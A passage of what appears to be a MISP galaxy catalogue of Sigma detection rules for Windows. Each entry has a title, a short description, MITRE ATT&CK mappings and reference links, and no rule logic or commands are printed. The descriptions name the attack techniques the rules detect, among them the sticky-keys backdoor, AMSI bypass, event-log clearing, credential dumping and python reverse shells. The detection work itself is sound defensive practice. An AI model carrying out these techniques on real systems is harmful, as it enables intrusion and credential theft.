Detects potential execution of MeshAgent which is a tool used for remote access. Historical data shows that threat actors rename MeshAgent binary to evade detection. Matching command lines with the '--meshServiceName' argument can indicate that the MeshAgent is being used for remote access.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Potential MeshAgent Execution - Windows"*

View relationships graph

Remote Access Tool - Potential MeshAgent Execution - Windows has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15449. Table References

Links
https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
https://www.security.com/threat-intelligence/medusa-ransomware-attacks
https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/

https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_meshagent_arguments.yml

Uncommon Child Process Of AddinUtil.EXE

Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Of AddinUtil.EXE"*

View relationships graph

Uncommon Child Process Of AddinUtil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15450. Table References

Links
https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_child_process.yml

Rebuild Performance Counter Values Via Lodctr.EXE

Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.

The tag is: *misp-galaxy:sigma-rules="Rebuild Performance Counter Values Via Lodctr.EXE"*

Table 15451. Table References

Links
https://learn.microsoft.com/en-us/windows/security/identity-protection/virtual-smart-cards/virtual-smart-card-tpmvscmgr
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lodctr_performance_counter_tampering.yml

Potential Persistence Attempt Via Run Keys Using Reg.EXE

Detects suspicious command line reg.exe tool adding key to RUN key in Registry

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Attempt Via Run Keys Using Reg.EXE"*

View relationships graph

Potential Persistence Attempt Via Run Keys Using Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 15452. Table References

Links
https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/
https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml

Driver/DLL Installation Via Odbcconf.EXE

Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.

The tag is: *misp-galaxy:sigma-rules="Driver/DLL Installation Via Odbcconf.EXE"*

View relationships graph

Driver/DLL Installation Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15453. Table References

Links
https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_driver_install.yml

Potentially Suspicious Rundll32 Activity

Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN

functionalities

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Rundll32 Activity"*

View relationships graph

Potentially Suspicious Rundll32 Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15454. Table References

Links
https://twitter.com/eral4m/status/1479080793003671557
http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/
https://twitter.com/Hexacorn/status/885258886428725250
https://twitter.com/eral4m/status/1479106975967240209
https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52
https://twitter.com/nas_bench/status/1433344116071583746
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

Uncommon Svchost Parent Process

Detects an uncommon svchost parent process

The tag is: *misp-galaxy:sigma-rules="Uncommon Svchost Parent Process"*

View relationships graph

Uncommon Svchost Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 15455. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_uncommon_parent_process.yml

Suspicious Query of MachineGUID

Use of reg to get MachineGuid information

The tag is: *misp-galaxy:sigma-rules="Suspicious Query of MachineGUID"*

View relationships graph

Suspicious Query of MachineGUID has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15456. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_machineguid.yml

Persistence Via Sticky Key Backdoor

By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privilleged shell is launched.

The tag is: *misp-galaxy:sigma-rules="Persistence Via Sticky Key Backdoor"*

View relationships graph

Persistence Via Sticky Key Backdoor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 15457. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html
https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors
https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_keys_replace.yml

VeeamBackup Database Credentials Dump Via Sqlcmd.EXE

Detects dump of credentials in VeeamBackup dbo

The tag is: *misp-galaxy:sigma-rules="VeeamBackup Database Credentials Dump Via Sqlcmd.EXE"*

View relationships graph

VeeamBackup Database Credentials Dump Via Sqlcmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 15458. Table References

Links
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml

Potentially Suspicious GoogleUpdate Child Process

Detects potentially suspicious child processes of "GoogleUpdate.exe"

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious GoogleUpdate Child Process"*

Table 15459. Table References

Links
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_googleupdate_susp_child_process.yml

Remote Access Tool - TacticalRMM Agent Registration to Potentially Attacker-Controlled Server

Detects TacticalRMM agent installations where the --api, --auth, and related flags are used on the command line. These parameters configure the agent to connect to a specific RMM server with authentication, client ID, and site ID. This technique could indicate a threat actor attempting to register the agent with an attacker-controlled RMM infrastructure silently.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - TacticalRMM Agent Registration to Potentially Attacker-Controlled Server"*

View relationships graph

Remote Access Tool - TacticalRMM Agent Registration to Potentially Attacker-Controlled Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15460. Table References

Links
https://github.com/amidaware/tacticalrmm
https://apophis133.medium.com/powershell-script-tactical-rmm-installation-45afb639eff3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_tacticalrmm_agent_registration_via_cli.yml

Add Potential Suspicious New Download Source To Winget

Detects usage of winget to add new potentially suspicious download sources

The tag is: *misp-galaxy:sigma-rules="Add Potential Suspicious New Download Source To Winget"*

View relationships graph

Add Potential Suspicious New Download Source To Winget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15461. Table References

Links
https://learn.microsoft.com/en-us/windows/package-manager/winget/source
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_susp_custom_source.yml

Suspicious Eventlog Clearing or Configuration Change Activity

Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses.

The tag is: *misp-galaxy:sigma-rules="Suspicious Eventlog Clearing or Configuration Change Activity"*

View relationships graph

Suspicious Eventlog Clearing or Configuration Change Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 15462. Table References

Links
https://www.linkedin.com/posts/huntress-labs_when-a-sketchy-incident-hits-your-network-activity-7304940371078238208-Th_l/?utm_source=share&utm_medium=member_desktop&rcm=ACoAAAJTlRcB28IaUtg03HUU-IdliwzoAL1flGc
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.eventing.reader.eventlogsession.clearlog?view=windowsdesktop-9.0&viewFallbackFrom=dotnet-plat-ext-5.0#System_Diagnostics_Eventing_Reader_EventLogSession_ClearLog_System_String_
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.eventlog.clear
https://stackoverflow.com/questions/66011412/how-to-clear-a-event-log-in-powershell-7
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md
https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil
https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/
https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml

Webshell Tool Reconnaissance Activity

Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands

The tag is: *misp-galaxy:sigma-rules="Webshell Tool Reconnaissance Activity"*

View relationships graph

Webshell Tool Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 15463. Table References

Links
https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_tool_recon.yml

Schtasks From Suspicious Folders

Detects scheduled task creations that have suspicious action command and folder combinations

The tag is: *misp-galaxy:sigma-rules="Schtasks From Suspicious Folders"*

View relationships graph

Schtasks From Suspicious Folders has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15464. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_folder_combos.yml

Suspicious Advpack Call Via Rundll32.EXE

Detects execution of "rundll32" calling "advpack.dll" with potential obfuscated ordinal calls in order to leverage the "RegisterOCX" function

The tag is: *misp-galaxy:sigma-rules="Suspicious Advpack Call Via Rundll32.EXE"*

Table 15465. Table References

Links
http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/
https://twitter.com/Hexacorn/status/1224848930795552769
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_advpack_obfuscated_ordinal_call.yml

HackTool - Quarks PwDump Execution

Detects usage of the Quarks PwDump tool via commandline arguments

The tag is: *misp-galaxy:sigma-rules="HackTool - Quarks PwDump Execution"*

View relationships graph

HackTool - Quarks PwDump Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 15466. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east
https://github.com/quarkslab/quarkspwdump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml

PowerShell Base64 Encoded Invoke Keyword

Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls

The tag is: *misp-galaxy:sigma-rules="PowerShell Base64 Encoded Invoke Keyword"*

View relationships graph

PowerShell Base64 Encoded Invoke Keyword has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15467. Table References

Links
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_invoke.yml

Insensitive Subfolder Search Via Findstr.EXE

Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.

The tag is: *misp-galaxy:sigma-rules="Insensitive Subfolder Search Via Findstr.EXE"*

View relationships graph

Insensitive Subfolder Search Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15468. Table References

Links
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://lolbas-project.github.io/lolbas/Binaries/Findstr/
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_subfolder_search.yml

Enumeration for Credentials in Registry

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services

The tag is: *misp-galaxy:sigma-rules="Enumeration for Credentials in Registry"*

View relationships graph

Enumeration for Credentials in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 15469. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enumeration_for_credentials_in_registry.yml

Finger.EXE Execution

Detects execution of the "finger.exe" utility. Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon. Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.

The tag is: *misp-galaxy:sigma-rules="Finger.EXE Execution"*

View relationships graph

Finger.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15470. Table References

Links
http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt
https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/
https://twitter.com/bigmacjpg/status/1349727699863011328?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_finger_execution.yml

Launch-VsDevShell.PS1 Proxy Execution

Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.

The tag is: *misp-galaxy:sigma-rules="Launch-VsDevShell.PS1 Proxy Execution"*

View relationships graph

Launch-VsDevShell.PS1 Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"

Table 15471. Table References

Links
https://twitter.com/nas_bench/status/1535981653239255040
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml

PUA - CsExec Execution

Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative

The tag is: *misp-galaxy:sigma-rules="PUA - CsExec Execution"*

View relationships graph

PUA - CsExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 15472. Table References

Links
https://github.com/malcomvetter/CSExec
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_csexec.yml

Potential AMSI Bypass Via .NET Reflection

Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning

The tag is: *misp-galaxy:sigma-rules="Potential AMSI Bypass Via .NET Reflection"*

View relationships graph

Potential AMSI Bypass Via .NET Reflection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15473. Table References

Links
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_init_failed_bypass.yml

Invoke-Obfuscation VAR+ Launcher

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher"*

View relationships graph

Invoke-Obfuscation VAR+ Launcher has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15474. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_var.yml

Wusa.EXE Executed By Parent Process Located In Suspicious Location

Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location. Attackers could instantiate an instance of "wusa.exe" in order to bypass User Account Control (UAC). They can duplicate the access token from "wusa.exe" to gain elevated privileges.

The tag is: *misp-galaxy:sigma-rules="Wusa.EXE Executed By Parent Process Located In Suspicious Location"*

Table 15475. Table References

Links
https://www.fortinet.com/blog/threat-research/konni-campaign-distributed-via-malicious-document
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_parent_execution.yml

PUA - CleanWipe Execution

Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.

The tag is: *misp-galaxy:sigma-rules="PUA - CleanWipe Execution"*

View relationships graph

PUA - CleanWipe Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15476. Table References

Links
https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_cleanwipe.yml

Hacktool Execution - Imphash

Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed

The tag is: *misp-galaxy:sigma-rules="Hacktool Execution - Imphash"*

View relationships graph

Hacktool Execution - Imphash has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15477. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_imphashes.yml

HackTool - SharpChisel Execution

Detects usage of the Sharp Chisel via the commandline arguments

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpChisel Execution"*

View relationships graph

HackTool - SharpChisel Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 15478. Table References

Links
https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/
https://github.com/shantanu561993/SharpChisel
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_chisel.yml

Suspicious Use of CSharp Interactive Console

Detects the execution of CSharp interactive console by PowerShell

The tag is: *misp-galaxy:sigma-rules="Suspicious Use of CSharp Interactive Console"*

View relationships graph

Suspicious Use of CSharp Interactive Console has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15479. Table References

Links
https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_use_of_csharp_console.yml

Rundll32 Execution Without CommandLine Parameters

Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity

The tag is: *misp-galaxy:sigma-rules="Rundll32 Execution Without CommandLine Parameters"*

View relationships graph

Rundll32 Execution Without CommandLine Parameters has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15480. Table References

Links
https://www.cobaltstrike.com/help-opsec

https://twitter.com/ber_m1ng/status/1397948048135778309
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_no_params.yml

Suspicious IIS Module Registration

Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors

The tag is: *misp-galaxy:sigma-rules="Suspicious IIS Module Registration"*

View relationships graph

Suspicious IIS Module Registration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"

Table 15481. Table References

Links
https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_susp_module_registration.yml

Uncommon AddinUtil.EXE CommandLine Execution

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.

The tag is: *misp-galaxy:sigma-rules="Uncommon AddinUtil.EXE CommandLine Execution"*

View relationships graph

Uncommon AddinUtil.EXE CommandLine Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15482. Table References

Links
https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml

Service Security Descriptor Tampering Via Sc.EXE

Detection of sc.exe utility adding a new service with special permission which hides that service.

The tag is: *misp-galaxy:sigma-rules="Service Security Descriptor Tampering Via Sc.EXE"*

View relationships graph

Service Security Descriptor Tampering Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 15483. Table References

Links
https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
https://twitter.com/0gtweet/status/1628720819537936386
https://twitter.com/Alh4zr3d/status/1580925761996828672
https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_modification.yml

Python Inline Command Execution

Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.

The tag is: *misp-galaxy:sigma-rules="Python Inline Command Execution"*

View relationships graph

Python Inline Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15484. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://docs.python.org/3/using/cmdline.html#cmdoption-c

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_inline_command_execution.yml

Remote Access Tool - ScreenConnect Remote Command Execution

Detects the execution of a system command via the ScreenConnect RMM service.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Remote Command Execution"*

View relationships graph

Remote Access Tool - ScreenConnect Remote Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15485. Table References

Links
https://github.com/SigmaHQ/sigma/pull/4467
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_remote_execution.yml

Renamed Schtasks Execution

Detects the execution of renamed schtasks.exe binary, which is a legitimate Windows utility used for scheduling tasks. One of the very common persistence techniques is schedule malicious tasks using schtasks.exe. Since, it is heavily abused, it is also heavily monitored by security products. To evade detection, threat actors may rename the schtasks.exe binary to schedule their malicious tasks.

The tag is: *misp-galaxy:sigma-rules="Renamed Schtasks Execution"*

View relationships graph

Renamed Schtasks Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15486. Table References

Links
https://ss64.com/nt/schtasks.html

https://x.com/JangPr0/status/1932034543026065833
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_schtasks_execution.yml

Suspicious Invoke-WebRequest Execution

Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location

The tag is: *misp-galaxy:sigma-rules="Suspicious Invoke-WebRequest Execution"*

View relationships graph

Suspicious Invoke-WebRequest Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15487. Table References

Links
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_download.yml

Execute Pcwrun.EXE To Leverage Follina

Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability

The tag is: *misp-galaxy:sigma-rules="Execute Pcwrun.EXE To Leverage Follina"*

View relationships graph

Execute Pcwrun.EXE To Leverage Follina has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15488. Table References

Links
https://twitter.com/nas_bench/status/1535663791362519040
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml

HackTool - SharpLDAPmonitor Execution

Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpLDAPmonitor Execution"*

Table 15489. Table References

Links
https://github.com/p0dalirius/LDAPmonitor
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_ldap_monitor.yml

Cloudflared Quick Tunnel Execution

